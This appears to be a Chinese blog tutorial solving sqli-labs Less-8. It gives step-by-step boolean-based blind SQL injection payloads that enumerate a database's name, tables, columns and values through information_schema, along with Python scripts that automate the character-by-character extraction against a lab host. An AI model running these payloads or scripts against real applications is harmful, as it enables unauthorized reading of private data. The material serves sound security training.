SQL injection-Boolian Based

sqli-labs_Less-8

布尔盲注: 通过页面的正确与不正确显示状态来获取数据库的信息;
实例:

url?id=1

页面显示:
在这里插入图片描述

url?id=1'

这里可以看到,从url传入参数只会显示一个 You are in … ,并且输出的内容对我们是没用,也没有报错信息显示,因此我们只能靠这个页面的上一串英文字符的出现或者消失来判断我们的 sql 语句是否被数据库执行,进而构造 sql 语句来猜解出数据库中的信息。

在这里插入图片描述
1,使用 length() 函数猜解解出当前数据库名的长度:(记得加单引号使后台sql语句闭合)

url?id=1' and length(database())>10 %23

# length() 函数,返回字符串长度
# database() ,返回当前数据库名

python脚本获取数据库名长度:

import requests

def get_length():
    i = 0 
    while 1:
        r = requests.get("http://117.167.136.242:8002/Less-8/?id=1' and length(database())={0} %23".format(i))
        html = r.text
        if 'You' in html:
            print('The Database Name Length is',i)
            break
        i += 1
get_length()

使用二分法,很快确定了当前数据库的长度为 8;

在这里插入图片描述
2,确定数据库名长度后,再利用 ascii() , substr() ,将当前数据库名猜解出来:

url?id=1' and ascii(substr(database(),1,1))>110 %23

# ascii() , 将一个字符转换成对应ASCII码
# substr(string,start,length),将字符串拆解,start 为要拆分的起始位置,length 表示要截取的长度;

通过将数据库名用函数一个一个拆分,转换成ascii码值,然后使用二分法,来确定字符,当然其中的过程过于繁琐,更适合使用 python 脚本来完成:

在这里插入图片描述
python脚本获取当前数据库名:

import requests

def get_db_name():
    DBname = ""
    r = "http://117.167.136.242:8002/Less-8/?id=1' and ascii(substr(database(),{0},1))={1} %23"
    
    chars = "abcdefghiljkrmnopqrstuvwxyzABCDEFGHIJKRMNOPQRLSTUVWXYZ0123456789"
    
    for i in range(1,9):
        for char in chars:
            char_ascii = ord(char)

            url = r.format(i,char_ascii)
            respone = requests.get(url)

            if 'You' in respone.text:
                DBname += char
                break
    print("The CURRENT DATABASE NAME IS :",DBname)

get_db_name()

3,通过脚本获得了当前数据库名为 security,接下来通过 left() ,count() 来获取数当前数据库中的表的数目:

url?id=1' and left((select count(table_name) from information_schema.tables where table_schema=database()),1)>10 -- +

# left(string,length) ,从左边开始截取字符串,length为要截取的长度,这里是将
select语句查询出来的值使用left()函数截取出来与 10 做弱类型比较;
# count(), 返回列值的数目(NULL值不计入其中);

这里,通过sql语句以及二分法,很快就能确认 security 数据库中的表有 4张:

在这里插入图片描述
4,再次,构造语句,二分法,length(),将这4张表的长度猜解出来:

url?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 

在这里插入图片描述
5,猜解出表长度后,仍然使用前面猜解数据库名的方法来猜解出这 4 张表的表名:

url?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- +

6,将表名猜解出来后,再次使用 left() ,count() 将 4 张表的字段个数查出来:

?id=1' and left((select count(column_name) from information_schema.columns where table_name='emails'),1)=2 -- +

在这里插入图片描述
7,查出字段个数,使用 length() 对字段长度进行查询:

url?id=1' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2 -- +

在这里插入图片描述
8,查出字段长度后,再次使用 ascii() , substr() 对字段名进行查询:

url?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- +

在这里插入图片描述
9,查出字段名后,就是最后的对字段值的查询,首先还是对字段值个数查询:

?id=1' and (select count('id') from security.emails)=8 --+

在这里插入图片描述
10,再次对字段值进行长度查询:

?id=1' and length((select email_id from security.emails limit 0,1))=16 --+

在这里插入图片描述
11,最后使用 ascii() , substr() 将字段值查出,至此,整个布尔盲注过程结束,中间的许多步骤只是 sql 语句发生变动,做法都是一样的;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值